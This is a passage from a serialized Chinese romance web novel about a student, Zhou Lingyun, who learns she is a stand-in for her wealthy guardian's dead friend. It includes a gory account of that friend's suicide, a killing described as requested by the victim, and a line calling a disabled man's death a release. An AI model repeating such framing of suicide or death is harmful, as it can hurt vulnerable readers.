“当然。”姜悯回答当然。 猩红记忆如海啸兜头而来,她情绪彻底失控,双拳用力砸向床面。 “你就怪我,你只会怪我,可你有亲身经历过吗?她就死在我面前啊,触手可及的距离,纵身一跃而下,快到根本让人来不及反应!” 这是第一次,姜悯主动向周灵蕴讲述起那段往事。 “我们所有人,下到悬崖底部,寻找她的尸体,她整个碎掉了你知道吗?!她碎掉了!凸起的石块上,树枝上,草叶上,到处都是血,还有红白颜色的碎肉,挂得到处都是,那是我这辈子见过最残忍的画面……” 姜悯双手不断抹去脸颊的泪水,声音低哑干涩,似乎要呛出血来。 “她的脸完全看不清本来的样子,五官被血糊满……不,她甚至都没有五官了,她的鼻子她的嘴唇,她那双弹琴的漂亮的手,天呐……” 仰天,姜悯喉咙里发出痛不堪忍的咆哮。 “我一直以为,我是她最好的朋友,可她却这样残忍地对待我,我有时候真的好恨她。” “她被装进尸袋,拉链上挂有她的发丝和碎肉,我很长一段时间不能看到红色,一点也不能,还有蓝色,把她装进去的蓝色。” “我不能吃肉,我看到肉就恶心,想吐,我每天都在哭,眼睛都要哭瞎了。” “我在火葬场,看见她被推进焚尸炉,你知道吗?人烧出来的骨头还是好大块的,得借助工具细细研一道,否则根本装不进盒子。” “她已经那么碎了,还要碎到什么程度,我问他们,还要碎到什么程度啊?!” 姜悯倒下去,身体蜷缩成小小的一团,眼泪粘黏着发丝,糊在脸颊。 周灵蕴倚靠门框,缓缓滑坐在地。 房间里外,两个人的哭声高低交织着,如有实质,在地面凝聚成咸涩的泪海,倒灌口鼻,直至灭顶。 心碎成一片一片,再难拼凑起。 所有委屈和不甘都化作怜惜和内疚,周灵蕴扶着门框站起,慢慢朝她走过去,爬上床,从背后拥住她颤抖的身躯。 “对不起,我不应该找你吵架的,勾起你心底不好的回忆,害你伤心难过。” 周灵蕴闭上眼睛,听见什么东西,再一次被狠狠踩在脚下,碾碎的声音。 “是她的替代也好,我愿意,我愿意替她活下去,带着她的那一份,还有你的那一份,好好活下去,长大,长到十八岁,二十岁,长到跟你现在一样的年纪,甚至更久,到九十岁……” 这是她骨子里的善良与包容,却也掺杂着无法忽视的冰冷现实。 钱。 她花了姜悯太多的钱。 吃穿用度,住所庇护,甚至此刻,她还在向她贪婪索取着那点可怜的情绪价值。 还有奶奶。 奶奶在姜家被照顾得很好。 她欠她的,是这辈子都偿还不清的巨债。 那么,再为她碎一次又如何?碎吧,碎到什么程度都可以。 眼泪大颗大颗,顺着鼻梁滚落,融化在她的发丝,周灵蕴悲恸欲绝。 姜悯在极度的悲痛和疲惫中沉沉睡去,周灵蕴用打湿的棉柔巾给她擦脸,又取来她常用的晚安面霜,细致涂抹,随后摆正她手脚,给她盖好被子,关闭台灯,轻手轻脚离开房间。 外头漆黑一片,走廊感应灯在房门合拢的瞬间倏然亮起,橘光黯淡,似风中飘忽的火苗。 周灵蕴背靠冰冷的墙壁,缓缓滑坐在地,脸深深埋进膝盖,血与泪的碎片仍在脑海中翻腾。 感应灯光亮无声熄灭,将她重新投入黑暗。 泪水无声汹涌,这一次不再是为了姜悯,而是为了自己,为身处哀悯与现实夹缝中,被自己亲手碾碎的,名为“周灵蕴”的未来。 她再也不能做自己。 周灵蕴接到蛋挞电话,是在三天后。 蛋挞和小哑巴来到了她的城市,说要还她的钱,还要请她吃饭,周灵蕴不想让她们破费,约在快餐店见面。 蛋挞变了好多,但打扮依旧前卫,戴造型夸张的银耳环,身上很多钉子,一百斤的体重可能有十斤都是铁。 小哑巴不知是受她影响,还是被她操控,也差不离,穿一件很紧的大领口破洞毛衣,还涂黑色的指甲油。 周灵蕴一开始没认出来,店里走来走去,举着手机看,消息说她们早就到了,点了个全家桶还问她要不要吃圣代。 记忆中,蛋挞还是她们分别时,穿黑色卫衣素面朝天的邻家女孩,满身废铁叮铃哐当的瘦高女人上前拉扯时,周灵蕴吓了一跳。 “我啊!我!”蛋挞指着自己鼻子尖,“周灵蕴麻烦你看清楚呢,唐书瑶。” 周灵蕴定睛一看,大为震撼,“唐书瑶,你怎么变亚比了。” 蛋挞大笑着推她一把,“你懂不少啊,周灵蕴,你可以。” 老朋友见面,周灵蕴坏情绪一扫而空,但对蛋挞还是有些埋怨,“那么久才联系我,是不是把我忘了?” “今天是我二十岁生日。”蛋挞捡起一根薯条插在汉堡上,挤了点番茄酱。 周灵蕴大惊,“那你不早说,我们约个好点的地方。” 蛋挞双手合十许愿,半分钟后睁开眼睛。 “这地方挺好的,周灵蕴,真的,正合我心意,我跟小哑巴拿着你的钱,买票进城那天晚上就是在快餐店睡的,我们点了两个汉堡,服务生送了一杯可乐,我们在那过了一夜。” “生日快乐。”周灵蕴话没说两句,嘴一瘪开始哭。 蛋挞起身坐到她身边,搂着她肩膀晃,“哭什么呀开心点,我听万玉说你过得挺好的。” 吃穿不愁,还有学上,确实挺好的。周灵蕴用力吸了下鼻子,手背抹眼睛。 “但那不是我的钱,是姜悯的钱。” 蛋挞看出她不太高兴,“先跟你说件能让你高兴的事,好吗?” 小哑巴去拿了圣代回来,周灵蕴选了个草莓味儿的,小勺挖着吃。 蛋挞问她,还记不记得住她家客厅的那个残废男人。 周灵蕴当然记得。蛋挞说他死了。 “我爸把他杀了。他跟我妈告状,我妈拿走我跟小哑巴攒的钱,跑了。后来我跟你借钱,我跟小哑巴也跑了,我爸带着他在外面打工赚的钱回家,结果家里只有个残废男人……” 她们走了以后,残废没人管,只能爬去楼道要饭。 他没有家,也不肯上街,非守着那空屋,逮着人就不松手,死死抱住人大腿,求赏口吃的。 楼上住户被烦得受不了,也是见他可怜,几家商量着,轮流给他送饭,拿点吃的换个清静。 “我爸回家,家里到处都是屎,老婆孩子全没有啦,只有个忠心耿耿的残废,没穿裤子坐在楼道里,说‘你回来啦’,哈哈哈……” 蛋挞笑起来,笑得双肩不住发抖,笑得眼泪都流出来。 “他就把他杀了。”蛋挞撩了把头发,挺直后背,手指头戳着心脏位置,“十三刀。” 周灵蕴怔怔地看着她。 蛋挞招招手,小哑巴立即把肩上挎的那个帆布包递过来。 “你看。”蛋挞掀开包,她专门去银行取的现金,“欠你的,一分不少。” 她把周灵蕴书包拉链打开,帆布包叠几下塞进去。 “其实钱早就攒够了,不来见你,是没想好怎么跟你说,我爸最后居然变成一个杀人犯。” 蛋挞说她准备干直播去了,当网红,跟小哑巴做情侣账号,利用他的残疾人身份。 “他还是不肯说话了,我怀疑是治不好了。” 蛋挞又叽里咕噜说了好多,周灵蕴默默听着,手里的草莓圣代早已融化,粉色的糖水在杯底积了浅浅一层。 她还在想残废男人的事。蛋挞说,其实他爸没想杀残废男人,是残废男人求着他杀的。 “他说他活得没意思。” 周灵蕴抓起一根冷掉的薯条,塞进嘴巴,蛋挞撞她肩膀,“欸,那你怎么样,过得好吗?大老板的小童养媳。” 似一道耳边雷,周灵蕴如梦初醒。 第57章 你只是像她,你不是她…… 周灵蕴想起几年前, 跟蛋挞、万玉和小哑巴在县城聚会那次。 在烧烤摊的红棚子底下,蛋挞不住用胳膊肘撞她,示意她角落共享一碗炒饭的两个女生。 她们说姜悯是同性恋, 喜欢女孩子。 她们说姜悯看上她了,想跟她好。 她们也奇怪, 说为什么呢?为什么一定是你周灵蕴呢? 作为朋友, 她们当然希望周灵蕴能好,飞黄腾达过上好日子, 一人得道鸡犬飞升嘛,也能带带她们。 但她们更担心周灵蕴被欺负,被骗,有认真分析过其中利害。 最后的结果是猛挥下胳膊, 说“不管啦”。 三个臭皮匠,顶个诸葛亮,大家一致认为周灵蕴即使被骗,也是赚的。 而且是大赚。 周灵蕴于是又想起来,姜悯其实一早就告诉过她的。 关于为什么是她这个问题, 是有原因的。只是后来姜悯忘了说, 她好日子过昏了头, 也忘记去问。 “我跟她小时候喜欢的那女孩子长得像, 但那个女孩已经不在人世了。”周灵蕴终于可以完整又清晰地说出这句话。 蛋挞坐在她旁边,两手抓着自己的生日汉堡,呆呆看着她, 半天咬不下去。 周灵蕴朝她笑一下,“所以我是那个女孩子的替身。所以,姜老板帮我找学校,把我接到她的家, 供我吃喝,也许只是为了弥补遗憾。那个女孩子十五岁就跳崖自杀了。” 心平气和说完,安静两秒,自顾摇头,“不是也许,就是。是事实。” 蛋挞咬下一口汉堡,默默咀嚼一阵咽下,转头看向她,“周灵蕴,你是不是喜欢你老板。” 周灵蕴往嘴里塞了根软绵绵的薯条。 “周灵蕴。”蛋挞严肃叫她。 周灵蕴抬起头。 蛋挞皱眉看她一阵,叹了口气。 “我跟小哑巴在服装厂打工的时候,厂里老板的儿子也喜欢我。他以为小哑巴是我弟弟,觉得我带着个残疾弟弟,很不容易,经常给我买东西,还给我钱花。但他长得特别丑,特别丑,我跟小哑巴一样变成残疾,变成瞎子也不可能喜欢他的,他有钱又怎么样呢?我跟小哑巴以后也会有钱。” 蛋挞说,她没有拒绝那个丑八怪,小哑巴也是。 “我们得活下去,我们需要钱,吃他买的东西,就不用自己花钱买,哄着他骗着他,反正是他心甘情愿,他喜欢撒钱就撒钱喽!” 蛋挞说,得罪他没好处,他是老板儿子。所以她经常带着小哑巴跟丑八怪约会。 “小哑巴在,他也不敢对我做些什么。后来我们离开了,我说要带小哑巴治病,他说治不好就回来,走的时候另外给了我一笔钱,我们没有跟人闹僵。他花钱,我给他提供情绪价值,我们双赢。” 最后的最后,蛋挞勾着周灵蕴的肩膀,说你明明知道她是你老板。 “你怎么可以喜欢自己的老板?老板只是用来搞钱的工具,我们现实一点,多为自己考虑考虑,好吗?” 蛋挞反复强调,姜悯只是她的老板。 “你给老板做饭,打扫卫生,晚上陪睡,你是老板的人形玩偶,你代替那个死掉的女孩子活着。老板花钱供你吃喝上学,老板替你照顾家里的老人,天经地义。” 蛋挞说,别觉得你欠她的,互惠互利罢了。 “你当她傻?真做慈善啊,知道那些有钱大老板为什么喜欢捐款,因为可以少交税,你把天底下的人都当观世音菩萨啊!” 蛋挞噼里啪啦说了好多,她喝干所有人的可乐,摸着肚子仰靠在座椅,说“好爽”。 “今天说得好爽,好久没说这么多话,上次还是跟服装厂老板的儿子。” 小哑巴只能听,不会说,她平时都懒得张嘴说话,吵架用手语,太累,胳膊酸。 听到服装厂老板儿子,小哑巴生气了,两手捏住自己的鼻子,好像拧了把大鼻涕,朝人用力地甩过来。 周灵蕴不解,蛋挞翻译,是讨厌的意思。 蛋挞抓了下自己的脸蛋,也朝小哑巴用力地甩回去。 周灵蕴看出来了,“丢脸?” 蛋挞连夸她聪明。 分别前,周灵蕴学了好几个骂人的手语,蛋挞穿得很少,快餐店门前,抱着周灵蕴,浑身瑟瑟在抖,却仍不住抚摸她发顶。 “替身就替身嘛,不管了。活着,吃饭,睡觉,好好上学,听我的,人这一辈子还长着,别因为眼前这点小困难就屈服,就想不开……” 蛋挞跟周灵蕴差不多高,但鞋底比块砖头还厚,她穿件黑皮衣,周灵蕴眼泪在她肩膀淌成两条河,用力点头,说“知道了”。 “走了,拜拜。”蛋挞和小哑巴在地铁站入口,用力挥手道别。 周灵蕴跟在她们后面一起下楼梯,蛋挞回头发现,“舍不得我啊?” “我也要坐地铁回家。”周灵蕴说。 三个人一起笑起来,在电动扶梯上笑出鸡打鸣的声音。 蛋挞和小哑巴要去高铁站,周灵蕴在中途下车,这次是真的拜拜,周灵蕴提前站起来,跟蛋挞抱了一下。 “记得给我发消息。” 要分开的时候,周灵蕴察觉到阻力,她惊讶抬眸,蛋挞认真地看着她,“你会嫌弃我吗?害怕我吗?因为我爸是个杀人犯。” 周灵蕴摇头。 “杀人的是你爸,不是你。我们是永远永远的好朋友。” 车门开,蛋挞笑着推开她,“回家去吧。” 车龙呼啸而去,周灵蕴拿出手机,给蛋挞发消息,把没说完的那半句发出去。 [对于残废男人来说,死或许真的是一种解脱。] 周灵蕴走出地铁站,外面天黑透了,下起毛毛雨,蛋挞回复说“好”。 除此外,没有一条新消息。 脸埋进高领毛衣,周灵蕴走在被雨淋湿的灰黑色人行道地砖,还是忍不住哭了。 五颜六色的周灵蕴,在这个冬天变得黯淡。 她没有刻意去模仿谁,模仿那个叫黎双的安静的女孩,她变得沉默而忧郁,她不再没心没肺只会傻乐。 周灵蕴回到空荡荡的家,那天,她给姜悯盖完被子出来,哭了会儿,然后回房睡觉,第二天早上醒来,家里就只剩她一个人了。 直到现在。 周灵蕴在厨房给自己下了碗面,碗底是昨晚的青椒炒肉,她只开了一盏餐厅灯,灯下混着眼泪慢吞吞吃完,洗碗,回屋写卷子,到点洗漱上床睡觉。 姜悯离开的这些日子,她都是这么过的。 其实好几次,她想打电话给姜悯,想问问她为什么要走,该走的明明是她。 却没有勇气拨通。 那天的姜悯哭得很厉害,几乎死去,她不愿看到她的眼泪。 姜悯回到家,是在周灵蕴期末考试结束。 周灵蕴在房间用洗地机清洁地面,噪音太大没听见门响,直到肩膀被人拍了一下。 她吓了一跳!回头看见姜悯,捂着心口,半天没缓过来。 女人依旧精致漂亮,即便是臃肿的冬装也不曾削减她分毫的美丽,她妆容完美,那日的狼狈失控全不见踪影,好像还新做了头发,皮肤也更加红润通透。 “你回来了。”周灵蕴张开嘴巴,喉咙发出干哑音节,才发现自己感冒了。 她欣喜若狂,不禁喜极而泣,眼眶急速泛红,“这些日子你去哪里了呀!” 姜悯“嗯”一声,好似没听见,“期末成绩出了没?成绩单给我看。” 周灵蕴蹭着眼泪,赶紧去书包里翻。 姜悯低头查阅。 化悲伤为动力,周灵蕴成绩又提升了。 “还行吧。”姜悯把成绩单递还,转身离开房间。 周灵蕴赶忙追去,“你吃饭了吗?我给你做饭,你想吃什么。” 不当心,膝盖撞在门框,她忍痛一瘸一拐,几乎是哀求,“你不要走好不好,我保证以后都乖乖听话,不要丢我一个人在家。” 姜悯转身,眼底有厌烦。 “周灵蕴,其实我对你成绩一直都不是很满意,但我知道这种事强求不得。我的建议是,把时间和精力都花费到学习上,别整天东想西想尽做些无用功。” 泪珠滚落,分不清膝盖和心脏哪处更痛,周灵蕴心中最后一丝希望破灭。 “强求不得是什么意思,因为我不够聪明是吗?我没办法像她那样考年级第一,是吗?我想照顾好你,想回报你,让你吃好睡好,怎么也成罪过了,你一开始不是很享受吗?” 她的问题注定不会有答案。 “我不是找保姆!”姜悯忽而拔高音调。她转身,细长手指连戳在周灵蕴肩窝,眼尾和嘴角勾起讥诮弧度,“你觉得我是没钱请保姆吗?我请你做了?谁稀罕你做饭了?” “那你别吃啊!”周灵蕴赤红着眼,大声。 倒吸一口凉气,姜悯震怒,对她的抵抗情绪反应极为强烈,“周灵蕴,我警告你,不要忘记自己的身份,你有什么资格跟我大吼大叫!” “我当然有。”由爱生痴,由痴生嗔,周灵蕴昂起下巴,目光挑衅,“我是黎双的替身,我任性的资本就是我这张脸。” 姜悯面上震骇久久不散,她微张口,不可置信。 “我说错了吗?”周灵蕴向前一步,逼近她。 她的一反常态并不是毫无由来,心底的声音在默然对峙间愈发清晰。 求求你了。 求求你。 不要。 长久的静默。 最后的最后,真真假假,所有伪饰狡诈,化作口不择言的滔天之怒。 “你没说错,你有任性的资本,但人贵在有自知之明,我希望你搞清楚一件事情。你只是像她,你不是她。” 话毕,姜悯摔门而去。 第58章 她会小心恪守本分 周灵蕴不想再跟姜悯吵架了。 她想给她做饭, 看她大口快乐地吃,眯起眼睛竖起大拇指夸奖说“我的小猫真棒”,然后拉开一罐果啤, 举高跟她碰杯,庆祝这美好而圆满的一天。 周灵蕴想回到从前, 但她知道回不去了。 姜悯总借口加班, 留在公司,跑去朋友家或酒店过夜。 导致她们之间距离拉长的是她的任性妄为。 她忘记了自己的身份, 偏离原本轨道,甚至想贪婪索取更多。 没错,是姜悯对她太好,把她惯坏了。 “漂亮姐姐好像很久没来学校接你了。”连朵朵都察觉到周灵蕴与姜悯之间的异常。 周灵蕴埋头写了会儿题, 从抽屉里摸出一罐薄荷鼻通,凑到鼻端猛吸。 教室里太臭了,空调机把人身上所有的气味吸进去,搅拌成一团又吐出来。 毫不夸张讲就是吃屁,无时无刻不在吃屁。 “借我闻一下。”朵朵搁笔, 伸手讨要。 周灵蕴拧开瓶盖递过去, “我们吵架了。” 朵朵吸猛了, 浑身一抖, 闭着眼睛半天才缓过劲儿。 “为什么?” 每想起那个夜晚,那场血泪交织的控诉,还有她离去时巨大的摔门声, 周灵蕴都忍不住眼眶发热,鼻头泛酸。 她接回鼻通盖好盖子,小绿瓶手中把玩,摇头, “她不喜欢我。” 朵朵意外,“之前不是都允许你亲她了,为什么突然说不喜欢。” “可能只是把我当成别人。”周灵蕴闷闷说。 朵朵“啊”一声,“对哦,我都忘了,忘记你是……” 忘记你是被包养的小童养媳一枚吖。周灵蕴心底自动补全了朵朵未完的话。 她的事情,朵朵都知道,当时还给她出主意,说要不直接上嘴亲。 周灵蕴听话照做,开始效果还不错,后续发展却完全超出她们预料。 连爱情军师朵朵也束手无策,周灵蕴知道自己这次是真的死翘翘了。 姜悯一定很讨厌她吧。 她勾起她的伤心事,学不好好上,还整天想东想西。 期末考后,周灵蕴又补了两个星期的课,春蕾直到过年前一周才放假。 姜悯在电话里通知她,今年不回去了,要跟家里人出国旅游。 “家里人……” 周灵蕴默默咀嚼着这个词,显然她被排除在这个温暖的范畴之外。 没多问,周灵蕴自己买票坐车回家。 山上的老房子奶奶早就打整好,电话里喜滋滋说今年还熏了腊肉,周灵蕴手机里听着就口水流。 她提大行李箱,另背个书包,扛着箱子吭哧吭哧爬到一半,路边大石头上一坐,觉得自己有点忘本了。 山上路人空手都难走,更别提带个大箱子。 过几天城里日子,真是,连自己姓什么都不知道了。 出门车接车送的,体力也大不如前,周灵蕴端碗猪油鸡蛋饭坐在家门口的小板凳,好半天手还在抖。 奶奶笑话她笨,回屋给她拿了个勺出来。 周灵蕴把碗搁在大腿,换勺挖着吃。 奶奶高兴,说“金窝银窝,怎么都不如自己的狗窝”。她提把扫帚,院里东扫扫西扫扫,走过摸摸周灵蕴的头,欢喜得很。 “回家了。” “回家了。”周灵蕴重复。 远处是连绵起伏的,沉默的黛色山峦,风清冷,云缥缈,眼前一切都是她熟悉的,原始而真实的贫瘠与宁静,周灵蕴满嘴喷香的猪油鸡蛋炒饭,默默看一阵,往嘴里塞口饭,视线回落在门前布满裂隙的青灰色水泥坝,忽然就想通了。 她吃完饭,拿出手机给蛋挞发了条消息。 [你说得对。] 山上没信号,对话框徒劳地转着圈,最终弹出一个刺眼的红色感叹号——发送失败。 “没关系。”周灵蕴对自己说。 反正她想通了。 腊月二十八晚上下了场雪,山上海拔高,雪化成冻,压断了电线,三十晚上只能靠煤油灯和蜡烛照明。 周灵蕴一点没觉得不习惯,跟奶奶一起写了春联,祭了祖宗,吃完年夜饭,守着噼啪作响的柴火盆说了会儿话,不到八点,祖孙俩就洗漱钻进被窝。 山里的夜,静得能听见自己的心跳,不被现代文明污染的,最为纯粹的夜,像一汪平静的湖,容纳所有未解思绪沉入梦乡。 梦里,周灵蕴是田埂边树荫下无忧无虑的小女孩,馒头就水也吃得很开心,吃饱两手搭在圆滚滚的小肚子上,脑袋一歪,睡过去。 梦中梦,甜美怡然。 高三了,学习紧,初八就得返校补课,周灵蕴计划是初五走,到那边自己安静待会儿,写几套卷子。 她没想到姜悯会来,在初四的上午。 她穿黑色短款羽绒服,宽松的短绒外裤,雪地靴,没化妆,脸色有些苍白,眼下带着淡淡的青影,长途跋涉的疲惫清晰可见。 正是晌午,天气还不错,周灵蕴坐在屋门前的小板凳,面前是张饭桌,桌上铺了块干净的蓝布,上头堆着她的习题册和书,她正埋头写。 解题专注,周灵蕴毫无所觉,直到对方站定在桌前,桌面投下大片阴影。 低矮的土坯房,四处烟熏火燎的痕迹,门前少女穿一件臃肿的旧棉袄,脸颊和手背被冷风吹得通红。 姜悯视线低垂,神色复杂难辨。 “姜,你怎么……”周灵蕴惊讶万分,声音有些干涩。 她匆忙起身,腿肚撞倒板凳。 “来接你回去。”姜悯声音同样沙哑,视线凝固在对方依旧清润无害的黑眸。 “你不是出国了。”周灵蕴每天掰着手指头算,跟她有一个多月没见。还以为此后再也见不到。 摘下手套,姜悯手掩唇,转身背对她,咳嗽两声,回头,“不请我进去坐坐?” “哦!哦!”周灵蕴急匆匆往屋里跑,去叫奶奶,又碰掉几本书。 姜悯弯腰捡起,放回原位,抬腿迈过门槛。 晚饭是蒜薹腊肉,香肠和米饭一起蒸,米香跟肉香混在一起,勾得人肚里馋虫爬,周灵蕴另烧了个汤,解腻,三人坐屋门口吃的。 奶奶吃完饭就出去了,笑呵的,说去找邻居玩,不打扰她们说话。 其实没什么好说的。周灵蕴洗了碗,问姜悯要不要在山上过夜,得到肯定答案,回屋去收拾床。 周灵蕴的单人床躺不下两个人,她抬了两根板凳架在床边,上头铺几块木板,翻箱倒柜忙活一个多小时才算把床铺好。 姜悯洗漱回来,脱下羽绒服扔到周灵蕴的书桌上,穿着毛衣躺上去。 周灵蕴想出去,跟奶奶睡,姜悯叫住她。 “那你铺床干嘛?” 周灵蕴手搭在门框,“床小,我担心你半夜掉地上。” “那你走吧。”姜悯扯来棉被盖住身体。 被子晒过,有暖融融太阳和洗衣粉味道。这个家穷归穷,到处都打整得很干净。 周灵蕴去找奶奶,结果发现老太太从里面把门闩上了。 “你不去陪老板睡觉,来我这儿干啥?”奶奶说啥都不开,甚至把灯熄了,说要睡觉,让她别吵人。 周灵蕴只能回房间。 姜悯挪到了床里侧位置,面朝墙躺,周灵蕴耷拉着脑袋在床边闷闷坐了会儿,脱下外套,在她身边小心翼翼躺下。 床拓宽了些,还是窄,两人侧身躺着,背对着背,身体不可避免紧挨,可以清晰感受到彼此的体温和呼吸。 黑暗中,谁也没有说话,刻意回避着之前所有的不快,空气近乎凝固,唯有窗外呼啸而过的山风。 姜悯睁着眼睛,在浓得化不开的黑暗里,感受着身下硬邦邦的床板硌着骨头。十好几年,周灵蕴都是这么过的。 “冷吗?”姜悯轻声问道。 她不在她身边这些日子,有没有不习惯呢? “还好。”周灵蕴声音蒙在被子里。 “三十那天晚上,我给你打电话了。”姜悯继续说道。 胸腔漫长起伏一下,嘴里吐出的热气闷在被窝里,反扑到眼睛上,弄得眼眶潮乎乎。 周灵蕴摇头,“山上没有信号。” “我知道。”姜悯又是两声低咳,“所以我来找你了。” 她是什么意思,示好吗? “我不会跑的。”周灵蕴打开手电,坐起来重新点上灯,“你可能感冒了,我去给你弄点枇杷膏,奶奶熬的,止咳。” “周灵蕴!”姜悯忽而一声高喊。 门边驻步,周灵蕴惊愕回头。 烛光摇曳,女人眼底有温润的珠光闪动,是泪吗?她不确定。 “其实我没出国,我一直在朋友家。”姜悯掀开被子坐起来,起身朝她走过去。 “我领养了一只小猫。在朋友家的地下停车场遇到的,它躲在我的车下,那只小猫就是我理想中的你的样子,是一只很可爱的奶牛猫,长毛奶牛猫,真的,我从来没想过,它真的会出现在我面前……” 就像你。 像你突然出现在我生命中。 “那很好啊。”周灵蕴背对着她,声音努力维持着平静。 “小猫很可爱。” 她就在身后,近在咫尺,周灵蕴却不敢回头,不敢去看她的眼睛。 “小猫很可爱。”姜悯重复。 她难道忘了吗?她就是她的小猫呀。 周灵蕴当然没有忘记,姜悯无数次,把她比作小猫。 可她同样没有忘记,姜悯曾经是有过一只小猫的。 ——“不想养了,就送人了。” 是姜悯当时原话。 “我去给你拿枇杷膏。”周灵蕴打开房间跑出去。 晃动的手电光柱切割黑暗,周灵蕴背抵在门板,张开嘴大口喘息,拼命压抑着汹涌而上的泪意。 她绝不会忘记,女人曾疾言厉色警告,“人贵在有自知之明。” 她会小心恪守本分,绝不越雷池一步—— 作者有话说:今天去医院了,所以迟了点 第59章 她好没骨气 姜悯最近过得很不好。日子像团被水泡过的旧报纸, 皱巴巴,沉甸甸,透着股霉味儿。 她对烟其实没什么瘾头, 寄居在舒颖家的这段日子,大概是无聊, 总有种焦躁感, 像细小的蚂蚁日夜啃噬着神经,嘴里干得发涩, 手边也空落落的,欠缺点什么。 她想抽烟,但忍住了。 毕竟是寄人篱下,整日吞云吐雾的, 实在不像话。况且抽与不抽改变不了什么,解决不了的事还是解决不了。 姜悯总是控制不住地搓手指,舒颖看出她的异常,下班绕道去了趟超市,回来给她带了个吹泡泡的小玩具。 姜悯哭笑不得, “什么意思啊舒老板, 我又不是小学生。” 她上下晃晃, 塑料管里的泡泡水发出轻微的哗啦声。 “试试吧。”舒颖脱下外套, 身体陷进沙发,抓起遥控器打开电视,“最适合你这种窝囊废。” 姜悯到来后, 舒颖发现自己喜欢上看电视了。 不一定非得看些什么,就这么放着,听个响也行,让家里不至于太空, 太静。 她们都太寂寞了。 “我以前也抽,后来觉得没意思,戒了,我知道你瘾犯了,又不想复吸。”舒颖说。 姜悯想解释一下,其实她从来就没瘾,对什么都没瘾。 但这话现在说出来,有点站不住脚。她完全可以预想到舒颖会如何嘲讽。 ——“对烟或许没有,对人就未必了。” 没多说,姜悯道了声“谢”,走到阳台,打开窗户。 深冬时节夜晚微凉的空气涌入,空调风吹热的脸颊略散去几分干热,她呵出一口白气,泡泡棒举到嘴边。 一连串透明泡泡飘出来,被风推着挤着,呼啦一下就跑远,沉沉夜色中,悄无声息,快速破裂消亡。 空气中弥漫着一股廉价香精混合着洗涤剂的甜腻气味,取代了记忆中烟草的焦苦。 姜悯在窗边站了一个多小时,吹完了罐子里全部的泡泡水。 “感觉怎么样?”舒颖回头。 姜悯一屁股坐沙发,“我好想小孩。” 不怎么样,没有用。 其实姜悯有去学校看过,在周灵蕴放学的点。 围巾,墨镜,棒球帽,姜悯把自己捂得严严实实,好比通缉犯,远远看周灵蕴从校门口走出来,两手插兜,表情酷酷的。 在她们常见面的位置,周灵蕴会习惯性默默地站上一会儿,搓搓脸,跺跺脚,实在等不到,才颓然抬步离开。 她在等她。 学校周六上午补半天课,下午不忙,周灵蕴不坐地铁,选择走回去。 姜悯跟过一次,走了快两个小时,到小区门口,腿肚子累得直打颤。她不敢回家,最后又灰溜溜打车去找舒颖。 年前,老妈给她打电话,说今年过年想出去玩,问她要不要带小孩一起,姜悯不敢说她们吵架,借口周灵蕴学习任务紧,拒了。 过年前一周,姜悯给小孩发短信,胡扯要出国,小孩什么也没问,什么也没说,自己买票回老家了。 在舒颖家的那段日子,时间黏稠而缓慢。 舒颖冰箱里塞满速食和饮料,姜悯没什么胃口,常常是饿急眼才胡乱往嘴里塞点东西。舒颖有时候会带外卖回来,她吃几口就放下筷子,说预制的,没小孩做的好吃。 舒颖有时候觉得姜悯很烦,有时候又庆幸她在。 两个人拌嘴,总好过一个人流泪。 姜悯看出舒颖不开心。舒颖从早到晚垮个批脸,姜悯问她是不是有故事,她不想说,姜悯故作惊恐抱住自己,“那你不会是暗恋我吧!” 舒颖闭眼,吸气,说“你好贱啊”。 姜悯“哈哈哈”笑,“那你就是被人甩了,还没走出来。” 舒颖最近迷上便利店自制鸡尾酒,她举杯浅抿,冷笑一声,“金主文学嘛,都是我当年玩剩下的。” 有故事。姜悯愿意用自己的跟她交换,舒颖又一声冷笑。 “你的故事,不用说,我用脚趾头都能想到。” “那你呢?跟你的小童养媳be了?”姜悯不想步她的后尘,打探其中经过。 “你小心点吧……”舒颖也没盼她什么好,“翅膀硬了,终究是要自己飞的。” 过年前两天,舒颖回老家,姜悯无处可去,窝在客厅沙发,连灯都懒得开,遥控器按来按去,无聊的相声小品节目怎么都躲不过去。 十二点,开始唱《难忘今宵》,姜悯忍不住给周灵蕴打了个电话,手机却提示说无法接通。 山里没信号。 那只小猫是姜悯在地下停车场遇到的。她想开车出去逛一圈,寻思过年城里人都走光了,路上肯定不堵。 出电梯的时候又想,真不堵就回家吧,趁小孩不在家,去她床上睡。 床是我买的呀,枕头也是我买的,我还不能睡啦!姜悯努力说服自己。 刚出电梯,她就看到一团小小的黑白影子嗖地钻进车底。 她急吼吼追过去,双手撑地,撅着屁股,歪头朝车下张望。小猫在车底下规规矩矩坐着,穿白靴,两只乌溜溜的大眼睛看着她。 姜悯捏着嗓跟小猫说话,让它别动,她现在就去买吃的。 她跑去便利店买了一包火腿肠,回来的时候发现小猫竟然还在。 命中注定,这只小猫就是她的。 之前养过,姜悯有经验,提着小猫后脖子翻过来看,笑了。 “你是小女孩呢。” 小猫三四个月大,之前应该是有猫妈妈带的,身上很干净,冬天出生,身上也没什么虱子。 姜悯把小猫带回家,头两天喂煮熟的鸡胸肉和鸡蛋,初二初三陆续有店铺开门,才把小猫的吃喝拉撒一套置办齐。 她们的眼睛很像。 姜悯看着小猫,总想起茶厂门前与周灵蕴的初见。 小孩黑黑圆圆的大眼睛一瞬不瞬把她瞧着,好奇得很。 有小猫撑腰,再见周灵蕴,姜悯有了底气。 “它起初有点认生,跟你一样,总缩在门边看我,我想朝它走过去,它调头就跑。晚上熄灯以后它悄悄出来活动,你猜我怎么知道的,踢脚线旁边的感应灯一直在亮,它还喵喵叫呢。” 姜悯入乡随俗,学周灵蕴,也端个大碗坐在门口吃炒饭。饭里是昨晚剩的蒜薹腊肉,香得要老命了。 “第二天,它就开始玩我给它买的玩具,我在房间,听到玩具叮铃叮铃响,它好开心。它什么都能玩,外卖送的一次性筷子和勺子,甚至只是一个破塑料袋。” 姜悯喋喋不休,讲述关于小猫的一切。 周灵蕴吃完饭,捧着空碗坐在姜悯身边,没有急着离开。 “回家看看小猫吧。”姜悯最后说。 周灵蕴扭头看她一眼,又低头看看她碗里的饭,催促说“快点吃”。 姜悯大口往嘴里塞,含糊说“好香啊”,中途又想起她的小猫,“哦对了,它可能是一直流浪的缘故,吃饭很快,每天要吃五六顿,几乎无时无刻不守候在碗边,一双大眼睛看着我……我们要早点回去,不然小猫会饿肚子。” 周灵蕴无声叹气。 “我走的时候没放多少粮,我担心它心里没数,把自己吃撑,回头撑死了。”姜悯眼巴巴看着周灵蕴。 “那你还不快点吃!”周灵蕴忍无可忍。 吃完就下山吧,回去了。 